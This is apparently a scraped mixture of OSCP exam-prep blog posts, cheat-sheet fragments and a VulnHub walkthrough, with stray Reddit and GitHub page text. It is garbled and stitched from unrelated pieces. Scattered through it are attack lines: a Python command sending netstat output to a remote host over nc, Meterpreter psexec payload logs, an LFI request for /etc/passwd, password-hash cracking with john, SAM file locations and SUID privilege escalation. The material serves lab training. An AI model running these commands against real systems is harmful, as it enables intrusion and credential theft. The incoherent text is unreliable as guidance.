This is a beginner course where you are tasked to identify the vulnerability, find the public exploit/path in and make modifications where necessary. by free or VIP and select from either traditional CTF challenges or guided-walkthrough-like challenges. If you have made it this far Congratulations the end is near! This quickly got me up to speed with Kali Linux and the command line. Once I got the initial shell, then privilege escalation was KABOOM! When I started off I had a core understanding of python scripting learned from a short college class (U.K.) and some experience with bash. Dont forget to work through the client and sandbox AD domains. After spending close to eight months studying for the Offensive Security Certified Professional (OSCP) certification, I'm happy to announce that I'm officially OSCP certified! If nothing happens, download Xcode and try again. The PDF also offers a full guide through the sandbox network. This guide explains the objectives of the OffSec Certified Professional (OSCP) certification exam. Trust me, testing all your techniques may take 30 minutes hardly if youre well-versed but a full-scale enumeration in that slow VPN will take you hours. I would recommend purchasing at least 60 days access which should be enough time to complete the exercises and work through a significant amount of the machines (depending on your circumstances). Heres How I cracked Secarmys OSCP challenge and won the OSCP lab voucher for free. I waited one and half years to get that OSCP voucher, but these 5 days felt even longer. Didnt take a break and continued to the 20 point machine. This worked on my test system. I advise completing the majority of the. Also, this machine taught me one thing. If you found this guide useful please throw me some claps or a follow because it makes me happy :) Oscp. Scan ports, scan all the ports, scan using different scanning techniques, brute force web dirs, brute force web dirs using different wordlist and tools. PWK lab extensions are priced at $359 for 30 days so you want to get as close to the top of the learning curve prior to enrolling. Took two breaks in those 3 hours but something stopped me from moving on to the next machine. To my mind the Advanced+ machines are similar in terms of difficulty to OSCP. In my remaining time I went back and forth repeatedly between the two privilege escalations and ensured I had the correct Proof Keys and sufficient screenshots. In short, I was prepared for all kinds of worst-case scenarios as I was expecting the worst to be honest. My timeline for passing OSCP Exam Setup : I had split 7 Workspace between Kali Linux. My next goal is OSWE. connect to the vpn. Watching Ippsec videos are highly recommended as he goes over everything in great depth and sometimes shows interesting manual ways to exploit. Also, explore tools such as Impacket, Crackmapexec, Evil-winrm, Responder, Rubeus, Mimikatz. Run the ExploitDB script but set the Interface address as the target IP and port to 8081. [*] 10.11.1.5:445 - Uploading payload ShgBSPrh.exe. for new students which will hopefully provide you with a far more pleasant experience than I had (it was like being thrown into the deep end without knowing how to swim properly). I generally used to solve the walkthroughs room in various categories. discussing pass statistics. I've tried multiple different versions of the reverse shell (tried metasploit and my own developed python script for EB). """csubprocess But thats not the case of Privilege escalation. at http://192.168.0.202/ in this example), we see it is a WordPress blog and the post there says: Use the username with the OpenSSH Private Key: sudo ssh -i secret.decoded oscp@192.168.0.202. I just kept watching videos, reading articles and if I come across a new technique that my notes dont have, Ill update my notes. One way to do this is with Xnest (to be run on your system): From then, I actively participated in CTFs. I encountered the machine in the exam, which can be solved just with the knowledge of PWK lab AD machines and the material taught in the AD chapter of the manual. A more modern alternative to Metasploitable 2 is TryHackMe (8/pm) which features a fully functioning Kali Linux instance all in your browser (this is great for starting out but once you move to the next stages you will need your own virtual machine). Please By accepting all cookies, you agree to our use of cookies to deliver and maintain our services and site, improve the quality of Reddit, personalize Reddit content and advertising, and measure the effectiveness of advertising. Apr 27 - May 03, 2020: watched PWK videos & Udemy courses on Windows privesc, started writing my own cheatsheet. My lab experience was a disappointment. Nonetheless I had achieved 25 + 10 + 20 + 10(user) + 10(user) + 5 (bonus) = 80. To my surprise almost a year after the major update to PWK, Offensive Security have not incorporated any active directory into the exam. 5 Desktop for each machine, one for misc, and the final one for VPN. This is a walk-through of how to exploit a computer system. At this stage I had achieved 65 points (+ 5 bonus) so I was potentially at a passing mark. OSCP 30 days lab is 1000$. Eventually once you have built up a good amount of experience you will be able to run your Nmap scan, probe the services and have a pretty good idea about the way in. Spend hours looking at the output of privilege escalation enumeration scripts to know which are common files and which arent. I took another hour to replicate all the exploits, retake screenshots, check if I have the necessary screenshots, and ended the exam. If you find an MD5 or some other hash - try to crack it quickly. Despite this, I think it would be silly to go through PWK and avoid the AD domains with the intention of saving time. My Lab Report including the exercises came to over 400 pages. is an online lab environment hosting over 150 vulnerable machines. My preferred tool is. The target is the "InfoSec Prep: OSCP" box on VulnHub, which is a site that offers machines for you to practice hacking. As I mentioned at the start there is no shame in turning to walkthroughs however it is important that you do not become reliant on them. look through logs to find interesting processes/configurations, Find files which have stickey bit on Very many people have asked for a third edition of WAHH. check sudo -l for a list of commands that the current user can run as other users without entering any password. Similar to the second 20 pointer I could not find the way to root. Http site nikto -h dirbuster / wfuzz Burp You must spend 1.5 hours on a target machine before hints/walkthroughs are unlocked. I made sure I have the output screenshot for each machine in this format. Provinggrounds. However diligent enumeration eventually led to a low privileged shell. It consists in 3 main steps which are taught in the PWK course: Note that we do not recommend learners to rely entirely on this resource while working on the lab machines. The OSCP is often spoken of like the Holy Grail but despite all of the efforts you go through to pass this challenging 24 hour exam, it is only a beginner cert in the Offensive Security path (yes I know it hurts to hear that ). Privacy Policy. At first you will be going through ippsec videos and guides but eventually you will transition away from walkthroughs and work through machines on your own. rev: OSCP is not like other exams where you do your preparation knowing that there is a chance that something in your prep will directly appear on your exam (e.g. How many months did it take you to prepare for OSCP? Before starting the OSCP preparations, I used to solve tryhackme rooms. FIND THE FLAG. Having the extra 5 bonus points could come in very handy if this is your predicament. }, Hello there, I wanted to talk about how I passed OSCP new pattern, which includes Active Directory in the exam. Respect your procotors. [root@RDX][~] #nmap -v -sT -p- 192.168.187.229. dnsenum foo.org Escalated privileges in 30 minutes. Instead of buying 90 days OSCP lab subscription, buy 30 days lab voucher but prepare for 90 days. Its not like if you keep on trying harder, youll eventually hack the machine. Edit I'm currently moving all the OSCP stuff and other things to my "pentest-book". Having passed I have now returned to THM and I actually really like their service. Back when I began my journey there were numerous recommendations for different platforms for various reasonsall of which proved to be rather confusing. Overall, I have been a passive learner in Infosec for 7+ years. View my verified achievement here: https://www.youracclaim.com/badges/0dc859f6-3369-48f8-b78a-71895c3c6787/public_url. In this blog, I will try to provide all the details on my preparation strategy and what resources I utilized, so lets dive in . Use poster Ctrl+Alt+P in Firefox and set url containg file path and chose file and PUT. Before we go any further, lets discuss the recent OSCP exam changes. Whenever someone releases a writeup after passing OSCP, I would read it and make notes from their writeup as well. psexec -u alice -p alicei123 C:\HFS\shellm80c.exe. I did all the manual enumeration required for the second 20 point machine and ran the required auto-enumeration scripts as well. The other mentioned services do not require pivoting. We must first address the dilemma that is otherwise known in the underground as the elusive, perpetual Course Exercises. Its just an exam. I used it to improve my, skills and highly recommend it (the vast majority is out of scope for OSCP, I completed the. [*] 10.11.1.5 - Meterpreter session 4 closed. The timeline only acts as a guide and heavily depends on your circumstances and how much time you can commit per day. The buffer overflow took longer than I anticipated2h:15m due to small errors along the way and I had to overcome an error message I had not previously encountered. zip all files in this folder The exam will include an AD set of 40 marks with 3 machines in the chain. Took a VM snapshot a night before the exam just in case if things go wrong, I can revert to the snapshot state. It took me more than a day to solve an easy machine and I was stuck often. One of the simplest forms of reverse shell is an xterm session. First things first. As root, change owner to root:root and permission to 4755. Recently, I hear a lot of people saying that proving grounds has more OSCP like VMs than any other source. It took me 4 hours to get an initial foothold. 90 days lab will cost you 1350$. I had no trouble other than that and everything was super smooth. To catch the incoming xterm, start an X-Server (:1 which listens on TCP port 6001). Learn more about the CLI. This is where manual enumeration comes in handy. This was pushed back to January after I decided to spend more time on lab services and take a much needed holiday . #include , //setregit(0,0); setegit(0); in case we have only euid set to 0. The VPN is slow, I cant keep my enumeration threads high because it breaks the tool often and I had to restart from the beginning. DC-2 Walkthrough with S1RENTJNull's OSCP Prep List:https://docs.google.com:443/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlviewCertif. Any suspected file run periodically (via crontab) which can be edited might allow to PE. My Proctors were super friendly and coped with me even when I had few internet troubles and screen sharing issues. The following command should be run on the server. This page is the jouney with some tips, the real guide is HERE. My layout can be seen here but tailor it to what works best for you. Finally, buy a 30 days lab voucher and pwn as many machines as possible. A good step by step tutorial can be found. Check for sticky bits, SUID (chmod 4000), which will run as the owner, not the user who executes it: Look for those that are known to be useful for possible privilege escalation, like bash, cat, cp, echo, find, less, more, nano, nmap, vim and others: It can execute as root, since it has the s in permissions and the owner is root, https://unix.stackexchange.com/questions/116792/privileged-mode-in-bash, https://unix.stackexchange.com/questions/439056/how-to-understand-bash-privileged-mode, ---------------------------------------------. The target is the "InfoSec Prep: OSCP" box on VulnHub, which is a site that offers machines for you to practice hacking. The general structure that I used to complete Buffer Overflows: 1_crash.py Pasted the 4 IPs (excluding BOF) into targets.txt and started with, autorecon -t targets.txt only-scans-dir, While that was running, I started with Buffer Overflow like a typical OSCP exam taker. level ranges 1-5 and risk 1-3 (default 1), copy \10.11.0.235\file.exe . Go, enumerate harder. Our target ip address is 192.168.187.229. There are plenty of guides online to help you through this. john --wordlist=/root/rockyou.txt pass.txt, echo gibs@noobcomp.com:$P$BR2C9dzs2au72.4cNZfJPC.iV8Ppj41>pass.txt, echo -n 666c6167307b7468655f717569657465 |xxd -r -p. PUT to webserver: One year, to be accurate. #include But now passing the Exam, I can tell some of the valuable resources that helped me understand AD from basics (following the order) , The above resources are more than sufficient for the exam, but for further practice, one can try . Additionally, the bonus marks for submitting the lab report . I even reference the git commits in which the vulnerability has raised and the patch has been deployed. 5 hours 53 minutes into the exam and I already have a passing score of 70 points. Thankfully things worked as per my strategy and I was lucky. This is the process that I went through to take notes, and I had more than enough information to write my report at the end. An understanding of basic scripting will be helpful, you do not need to be able to write a script off the top of your head. Woke at 4, had a bath, and drank some coffee. https://drive.google.com/drive/folders/17KUupo8dF8lPJqUzjObIqQLup1h_py9t?usp=sharing. I thank Secarmy(now dissolved into AXIAL), Umair Nehri, and Aravindha Hariharan. if you are not authorized to use them on the target machine. In the week following my exam result I enrolled onto. However, despite not being dependant on the bonus 5 points for my exam pass, I am glad I went through the ordeal as it offers a good insight into Active Directory and helps to introduce you to topics that you may have otherwise overlooked such as pivoting and client side attacks. Buffer overflow may or may not appear in the exam as per the new changes. A Buffer overflow can be leveraged by an attacker with a goal of modifying a computer's memory to undermine or gain control of the . So, after 07:23 minutes into the exam, I have 80 points and Im in the safe zone But I didnt take a break. Impacket is getting: CRITICAL:root:SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found. Edit the new ip script with the following: #!/bin/sh ls -la /root/ > /home/oscp/ls.txt. It is encoded, and the "==" at the end points to Base64 encoding. Privilege escalation is 17 minutes. These are some of the resources that I found helpful during my preparations: Recently Offensive Security also published a video talking about the new Exam pattern in detail. I even had RedBull as a backup in case if too-much coffee goes wrong Thank god it didnt and I never had to use RedBull. Our next step is scanning the target machine. By rejecting non-essential cookies, Reddit may still use certain cookies to ensure the proper functionality of our platform. S'{1}' 2_pattern.py You arent here to find zero days. Run powershell command: transfer docker image to host by using root@kali:~/# docker save uzyexe/nmap -o nmap.tar and after copying on target: Identify if you are inside a container - cat /proc/self/cgroup | grep docker. Offensive Security. Covert py to .exe - pyinstaller: Other than AD there will be 3 independent machines each with 20 marks. About 99% of their boxes on PG Practice are Offsec created and not from Vulnhub. So, I highly suggest you enumerate all the services and then perform all the tests. machines and achieved VHL Advanced+ in under three weeks. Figure out dns server: There might be something we missed in enumeration the first time that could now help us move forward. I had no idea where to begin my preparation or what to expect on the Exam at the moment. 5_return.py So, after the initial shell, took a break for 20 minutes. The purpose of the exam is to test your enumeration and methodology more than anything. These machines often have numerous paths to root so dont forget to check different walkthroughs! Receive video documentationhttps://www.youtube.com/channel/UCNSdU_1ehXtGclimTVckHmQ/join----Do you need private cybersecurity training? Took a break for 20 minutes right after submitting proof.txt for the Buffer Overflow machine. cat foo|rev reverse contents of cat, __import__("os").system("netstat -antp|nc 192.168.203.130 1234"), Deserialization (Pickle) exploit template, for x in 27017 28017; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 10.11.1.237; done, http://10.11.1.24/classes/phpmailer/class.cs_phpmailer.php?classes_dir=/etc/passwd%00 [*] 10.11.1.5:445 - Created \ShgBSPrh.exe [*] 10.11.1.5:445 - Deleting \ShgBSPrh.exe [*] 10.11.1.5 - Meterpreter session 9 closed. Additionally, the bonus marks for submitting the lab report have been doubled from 5 to 10 points, and the lab report must include an AD set writeup. Which is best? After 4 hours into the exam, Im done with buffer overflow and the hardest 25 point machine, so I have 50 points in total. Follow the attached, ) and goes through several key exploits (, Whilst working through Metasploitable you can also follow along parts of the, A more modern alternative to Metasploitable 2 is, (8/pm) which features a fully functioning Kali Linux instance all in your browser (this is great for starting out but once you move to the next stages you will need your own virtual machine). 6_shell.py. Youll run out of techniques before time runs out. My PWK lab was activated on Jan 10th, 2021. privilege escalation courses. Well yeah, you cant always be lucky to spot rabbit holes. The excess data may overwrite adjacent memory locations, potentially altering the state of the application. Use pwdump3 to extract hasches from these and run john: Easy fail - /etc/passwd (and shadow) permision, SAM file in Repairs, check how patched the system is to get an idea of next steps, Info disclosure in compromised service/user - also check logs and home folders, files/folders/service (permission) misconfiguration. So the three locations of the SAM\Hashes are: nmap -sV --script=rdp-vuln-ms12-020 -p 3389 10.11.1.5, meterpreter > run post/multi/recon/local_exploit_suggester, Firewall XP Unshadow passwd shadow>combined, Always run ps aux: The Learning Path offers 2 walkthroughs and hints for 11 machines. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. Instead Offsec will present you vulnerabilities they know you have not exploited before. One for completing 20 machines and another for completing 10 Advanced+ machines including two manual exploitation examples. You could well jump straight from HTB to PWK and pass the OSCP but there is still a lot to learn from the other platforms which will help to solidify your methodology. whilst also improving your scripting skillsit takes time but its worth it! Run local smb server to copy files to windows hosts easily: Run as: So when I get stuck, Ill refer to my notes and if I had replicated everything in my notes and still couldnt pwn the machine, then Ill see the walkthrough without guilt :), Feel free to make use of walkthroughs but make sure you learn something new every time you use them. I have seen writeups where people had failed because of mistakes they did in reports. So, I wanted to brush up on my Privilege escalation skills. OSCP preparation, lab, and the exam is an awesome journey where you will experience lots of excitement, pain, suffering, frustration, confidence, and motivation where learning will be constant throughout the journey. I was afraid that I would be out of practice so I rescheduled it to 14th March. (((S'{0}' LOL Crazy that, it all started with a belief. Also, remember that youre allowed to use the following tools for infinite times. THM offer a. For example take the vulnerable Centreon v19.04: First find exploits by searching on Searchsploit, Google and lastly MSF, (in this case the GitHub script works better than the ExploitDB script). After around an hour of failed priv esc enumeration I decided to move onto the 25 pointer. I went down a few rabbit holes full of false hope but nothing came of it. Complete one or two Buffer Overflows the day before your exam. We highly encourage you to compromise as many machines in the labs as possible in order to prepare for the OSCP exam. Then, moving on to standalone machines, I began enumerating them one by one in order to discover low-hanging fruit, and within the following two hours, I was able to compromise another machine. This is one feature I like in particular that other services lack. A tag already exists with the provided branch name. PWK is an expensive lab. Take a break to calm down and reset your thoughts if youre stuck somewhere and dont know what to do. Sleep doesnt help you solve machines. [*] 10.11.1.5:445 - Created \ILaDAMXR.exe [+] 10.11.1.5:445 - Service started successfully [*] Sending stage (175174 bytes) to 10.11.1.5. Here's the entire process beginning-to-end, boot2root: This is the link to the write-up by the box's creator, which includes alternate ways to root: VulnHub Box Download - InfoSec Prep: OSCP, Offensive Security and the OSCP Certification, https://stackoverflow.com/questions/6916805/why-does-a-base64-encoded-string-have-an-sign-at-the-end, https://man7.org/linux/man-pages/man1/base64.1.html, https://serverpilot.io/docs/how-to-use-ssh-public-key-authentication/, https://blog.tinned-software.net/generate-public-ssh-key-from-private-ssh-key/, https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/, https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/, https://pentestlab.blog/category/privilege-escalation/, http://falconspy.org/oscp/2020/08/04/InfoSec-Prep-OSCP-Vulnhub-Walkthrough.html. Keep the following in mind; An OSCP has demonstrated the ability to use persistence, creativity, and perceptiveness to identify vulnerabilities and execute organized attacks under tight time constraints. Came back. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/, Hacker by Passion and Information Security Researcher by Profession, https://blog.adithyanak.com/oscp-preparation-guide, https://blog.adithyanak.com/oscp-preparation-guide/enumeration. With the help of nmap we are able to scan all open tcp portsStarting with the port number 80 which is http, [][root@RDX][~] #nikto --url http://192.168.187.229, [root@RDX][~] #chmod 600 secret.txt, [root@RDX][~] #ssh -i secret.txt oscp@192.168.187.229. If youve made it this far, youre probably interested in the certification, therefore I wish you Goodluck on your OSCP journey. 4. cd into every directory and cat (if linux)/type (if windows) every .txt file until you find that user flag. Because, in one of the OSCP writeups, a wise man once told. Pwned 50100 vulnhub machines. When I first opened immunity debugger it was like navigating through a maze but I promise you it is not that complicated. # on windows target, %systemroot%\system32\config - c:\Windows\System32\Config\, %systemroot%\repair (but only if rdisk has been run) - C:\Windows\Repair. Now start it fresh with a broader enumeration, making a note of any juicy information that may help later on. So, I paused my lab and went back to TJ nulls recent OSCP like VM list. In that period, I was able to solve approximately 3540 machines.